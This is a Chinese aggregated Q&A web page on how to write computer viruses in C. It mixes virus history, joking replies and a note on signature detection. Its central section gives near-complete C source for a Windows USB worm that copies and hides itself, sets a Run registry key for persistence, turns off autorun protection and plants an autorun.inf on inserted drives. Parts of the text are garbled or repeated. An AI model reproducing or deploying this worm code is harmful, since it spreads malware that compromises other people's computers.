如何编写病毒程序(c语言如何编写病毒)

      最后更新:2024-03-16 15:34:26 手机定位技术交流文章

      病毒是怎么编的

      首先肯定,计算机病毒是人编的。至于犯不犯法,这得根据病毒所造成的危害以及不同地区的相应法律来做出判定,我们不能对其是否犯法做出简单的判断。下面对病毒具体作如下说明: 病毒是一种计算机指令代码。用户运行了这些代码后,或是出现一个小小的恶作剧,或是产生一些恶意的结果,如破坏系统文件造成系统无法运行、数据文件统统删除、硬件被破坏、非法侵入内部数据库偷窃或篡改数据等等。病毒的制造者往往出于炫耀自己的编程能力与控制力、或是因自己计算机使用中不慎染毒而产生的报复心理制毒传毒。也有一些是因为保护自己的知识产权而制作的一个可控“定时炸弹”。如果用户正常使用将不会发作;如果用户不及时缴纳费用或者私下传播该应用软件,那么 “定时炸弹”就会被引爆。最早由冯.诺伊曼提出了这种可能性,20世纪70年代中期有几位美国科普作家在他们的科幻小说中描写了计算机病毒。1983年11月3日Fred.Cohen博士研制出一种在运行过程中不断复制自身的破坏性程序,Len.Adleman将其命名为计算机病毒(Computer Viruses)。计算机和网络给我们生活提供的便利,远非计算机病毒带来的不便所能比拟的。只要我们了解病毒的传播方式,依靠专业人员的支持,就可以抵御病毒带来的各种危害,从而更为有效地利用计算机网络技术改进我们的生活。常见病毒简介:引导型-引导型病毒是感染磁盘引导区或主引导区的一类病毒,是感染率仅次于“宏病毒”的常见病毒。由于这类病毒感染引导区,当磁盘或硬盘在运行时,引发感染其他*.exe、*.com、*.386等计算机运行必备的命令程序,造成各种损害。常见的品种有tpvo/3783,Windows系统感染后会严重影响运行速度、某些功能无法执行,经过杀毒以后,必须重装Windows操作系统,才能正常运行。文件型-文件型病毒是感染文件的一类病毒,是目前种类最多的一类病毒。黑客病毒Trojan.BO就属于这一类型。BO黑客病毒则利用通讯软件,通过网络非法进入他人的计算机系统,获取或篡改数据或者后台控制计算机。从而造成各种泄密、窃取事故。混合型-这类病毒既感染命令文件、又感染磁盘引导区与主引导区。能破坏计算机主板芯片(BIOS)的CIH毁灭者病毒属于该类病毒。CIH是一个台湾大学生编写的一个病毒,当时他把它放置在大学的BBS站上,1998年传入大陆,发作的日期是每个月的26日。该病毒是第一个直接攻击计算机硬件的病毒,破坏性极强,发作时破坏计算机Flash BIOS芯片中的系统程序,导致主板与硬盘数据的损坏。1999年4月26日,CIH病毒在中国、俄罗斯、韩国等地大规模发作,仅大陆就造成数十万计算机瘫痪,大量硬盘数据被破坏。 宏病毒-是一类主要感染WORD文档和文档模板等数据文件的病毒。宏病毒是使用某个应用程序自带的宏编程语言编写的病毒,目前国际上已发现三类宏病毒:感染WORD系统的WORD宏病毒、感染EXCEL系统的EXCEL宏病毒和感染Lotus Ami Pro的宏病毒。目前,人们所说的宏病毒主要指Word和Excel宏病毒。从96年
      呵呵。那你只有去学编程了三。会编程了你就可以自己做软件了。病毒也是一个程序代码。
      病毒是怎么编的

      病毒是怎样制作的?用什么程序?

      病毒事实上也是一种程序,只不过它的主要功能是破坏,所以被孤立出来,人人都去杀它! 程序(包括)可以由很多语言编写,比如C语言,C++,C#,VB,DEPHI等等...程序还可以连数据库,比如ACCESS,SQL,MSSQL,DB2等等....风糜一时的熊猫烧香就是用DEPHI编的...
      不需要程序。等别人感冒时,你让他对着你打个喷嚏你就可以拥有了。而且是流行性感冒病毒。
      汇编可以
      java语言,等等。
      病毒是怎样制作的?用什么程序?

      用C语言编写的病毒代码

      一个c病毒源代码 #include #include #include #include #include #pragma comment(lib,"shlwapi.lib")#define TIMER 1//计时器//functionLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程//获取盘符TCHAR FirstDriveFromMask (ULONG unitmask);//病毒从U盘启动时用到的函数BOOL FileExist(TCHAR *path);//测试一个文件是否存在BOOL GetSelfPath(TCHAR *path);//Get the virus's path//BOOL FindU(TCHAR *u);//check whether u exist, u[2]BOOL GetSysPath(TCHAR *path);//得到系统路径BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动//从C盘启动时用到函数BOOL CopyToUAndSet();//复制自己到U盘BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件BOOL FindSelf();//测试自己是否在已经执行了//global variableTCHAR szExePath[MAX_PATH];//the virus's pathTCHAR U[2];//保存U盘的盘符TCHAR szSysPath[MAX_PATH];//system path//constantconst TCHAR *szExeName="bbbbb.exe";const TCHAR *szSysName="aaaaa.exe";const TCHAR *szAutoRunFile="AutoRun.inf";int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow){static TCHAR szAppName[]=TEXT ("UUUUUU");HWND hwnd;MSG msg;WNDCLASS wndclass;wndclass.style =0;wndclass.lpfnWndProc =WndProc;wndclass.cbClsExtra =0;wndclass.cbWndExtra =0;wndclass.hInstance =hInstance;wndclass.hIcon =0;wndclass.hCursor =0;wndclass.hbrBackground =0;wndclass.lpszMenuName =NULL;wndclass.lpszClassName =szAppName;if (!RegisterClass (&wndclass)){MessageBox (NULL,TEXT("Program requires Windows NT!"),szAppName, MB_ICONERROR);return 0;}hwnd = CreateWindow (szAppName, NULL,WS_DISABLED,0, 0,0, 0,NULL, NULL, hInstance, NULL);while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage (&msg);DispatchMessage (&msg);}return msg.wParam;}LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam){PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch(wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符//MessageBox(0,U,"Notice!",MB_OK);CopyToUAndSet();//拷到u盘}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除break;}return LRESULT();}LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam){switch(message){case WM_Create: //处理一些要下面要用到的全局变量U[1]=':';GetSysPath(szSysPath);//得到系统路径SetTimer(hwnd,TIMER,5000,0);//启动计时器GetSelfPath(szExePath);//得到自身的路径return 0;case WM_TIMER: //timer messageif(szExePath[0]==szSysPath[0]) //如果是系统盘启动的SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息else{CopyToSysAndSet(hwnd);//拷到系统盘并自启动}return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd,wParam,lParam);return 0;case WM_DESTROY:KillTimer(hwnd,TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);}TCHAR FirstDriveFromMask(ULONG unitmask){char i;for (i = 0; i < 26; ++i){if (unitmask & 0x1)//看该驱动器的状态是否发生了变化break;unitmask = unitmask >> 1;}return (i + 'A');}BOOL GetSelfPath(TCHAR *path){if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录{return TRUE;}elsereturn FALSE;}BOOL GetSysPath(TCHAR *path){return GetSystemDirectory(path,MAX_PATH);//得到系统路径}BOOL CopyToSysAndSet(HWND hwnd){TCHAR szPath[MAX_PATH];lstrcpy(szPath,szSysPath);lstrcat(szPath,"\");lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件{CopyFile(szExePath,szPath,FALSE);RegAutoRun(szPath);return SetFileAttrib(szPath);}else{if(!FindSelf())//检测自己有没有运行{//MessageBox(0,szExePath,szPath,MB_OK);WinExec(szPath,SW_HIDE);//没有就执行SendMessage(hwnd,WM_CLOSE,0,0);//结束自己}}return FALSE;}BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在{int result;result=PathFileExists(path);if(result==1)return TRUE;elsereturn FALSE;}BOOL SetFileAttrib(TCHAR *path){return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);}BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动{HKEY hkey;DWORD v=0;RegOpenKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",&hkey);RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run",&hkey)==ERROR_SUCCESS){RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));RegCloseKey(hkey);return TRUE;}elsereturn FALSE;}BOOL CopyToUAndSet(){TCHAR szPath[MAX_PATH];lstrcpy(szPath,U);lstrcat(szPath,"\");lstrcat(szPath,szExeName);//得到指向U盘的完整目录TCHAR szAutoFile[MAX_PATH];lstrcpy(szAutoFile,U);lstrcat(szAutoFile,"\");lstrcat(szAutoFile,szAutoRunFile);if(!FileExist(szAutoFile)){CreateAutoRunFile(szAutoFile);SetFileAttrib(szAutoFile);}if(!FileExist(szPath)){CopyFile(szExePath,szPath,FALSE);return SetFileAttrib(szPath);}return FALSE;}BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件{ofstream fout;fout.open(path);if(fout){fout<<"[AutoRun]"<)将程序暂停一秒后继续执行:sleep(1000); (同上)删除文件:system("del 文件的路径");运行文件:system("文件的路径");system函数(#include )复制文件:详见remove函数(#include )-----------------------------------------------------------一个不错的病毒完整源代码#include #include #include #include #include #pragma comment(lib,"shlwapi.lib")#define TIMER 1//计时器//functionLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程//获取盘符 TCHAR FirstDriveFromMask (ULONG unitmask);
      用C语言编写的病毒代码

      如何用C语言编写一个查杀一种病毒的程序

      您好:杀毒软件何必自己编写呢,建议您使用腾讯电脑管家吧,腾讯电脑管家占用系统资源少,占用内存资源少,不会影响电脑的正常运行速度,而且腾讯电脑管家是杀毒管理2合1的软件,不仅杀毒、防毒能力强,还有例如垃圾清理、电脑加速等一些列的电脑管理辅助类功能,您可以点击这里下载最新版的腾讯电脑管家:腾讯电脑管家最新版下载腾讯电脑管家企业平台:http://zhidao.baidu.com/c/guanjia/
      如果是采用病毒的特征来查杀,你需要设计一种提取该病毒的特征码,类似的资料你可以在搜索相关论文,很多介绍这些的,当然你甚至可以用简单的hash来保存一种病毒的特征,采用c语言的话可能涉及到文件的读取的函数调用,可以查考一下c库甚至windows api。
      如何用C语言编写一个查杀一种病毒的程序

      电脑病毒制作方法

      电脑病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。 除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复制, 具有传染性。所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一组程序或指令集合。1、最初"计算机病毒"这一概念的提出可追溯到七十年代美国作家雷恩出版的《P1的青春》一书,书中构思了一种能够自我复制,利用通信进行传播的计算机程序,并称之为计算机病毒。2、贝尔实验室的三位年轻程序员也受到冯?诺依曼理论的启发,发明了“磁芯大战”游戏。3、1983 年 11月,在一次国际计算机安全学术会议上,美国学者科恩第一次明确提出计算机病毒的概念,并进行了演示。4、世界上公认的第一个在个人电脑上广泛流行的病毒是1986年初诞生的大脑(C-Brain)病毒,编写该病毒的是一对巴基斯坦兄弟,两兄弟经营着一家电脑公司,以出售自己编制的电脑软件为生。当时,由于当地盗版软件猖獗,为了防止软件被任意非法拷贝,也为了追踪到底有多少人在非法使用他们的软件,于是在1986年年初,他们编写了“大脑(Brain)”病毒,又被称为“巴基斯坦”病毒。该病毒运行在DOS操作系统下,通过软盘传播,只在盗拷软件时才发作,发作时将盗拷者的硬盘剩余空间吃掉。5、1988年11月美国国防部的军用计算机网络遭受莫里斯病毒袭击,致使美国Internet网络上6000多计算机感染,直接经济损失9600万美元。莫里斯病毒是由康乃尔大学23岁的罗特?莫里斯制作。后来出现的各类蠕虫,都是仿造了莫里斯蠕虫,以至于人们将该病毒的编制者莫里斯称为“蠕虫之父”。6、1999年 Happy99、美丽杀手(Melissa)等完全通过Internet传播的病毒的出现标志着Internet病毒将成为病毒新的增长点。其特点就是利用Internet的优势,快速进行大规模的传播,从而使病毒在极短的时间内遍布全球。7、CIH病毒是继DOS病毒的第四类新型病毒,CIH这三个字母曾经代表着灾难。1998年8月从台湾传入大陆,共有三个主要版本:1.2版/1.3版/1.4版,发作时间分别是4月26日、6月26日、每月26日。该病毒是第一个直接攻击、破坏硬件的计算机病毒,是迄今为止破坏最为严重的病毒。CIH病毒制造者 陈盈豪 曾有两次精神科门诊记录,被人们认为是“电脑鬼才”。8、2000年的5月,通过电子邮件传播的"爱虫"病毒迅速在世界各地蔓延,更大规模的发作,造成全世界空前的计算机系统破坏。 I LOVE YOU爱虫病毒是使用VB Script程序语言编写的病毒,它主要是通过一封信件标题为“I LOVE YOU"的电子邮件传播的。一旦执行附加文件,病毒会获取Outlook通讯录的名单,并自动发出“I LOVE YOU”电子邮件,从而导致网络阻塞。破坏性:爱虫病毒的传播会导致网络瘫痪,病毒发作时,还会把*.mp3、*.jpg等10种文件改为*.vbs,并传染覆盖这些文件。 与爱虫病毒相似的网络病毒还有Melissa(美丽杀手病毒)等。
      电脑病毒制作方法

      本文由 在线网速测试 整理编辑,转载请注明出处,原文链接:https://www.wangsu123.cn/news/303360.html

          热门文章

          文章分类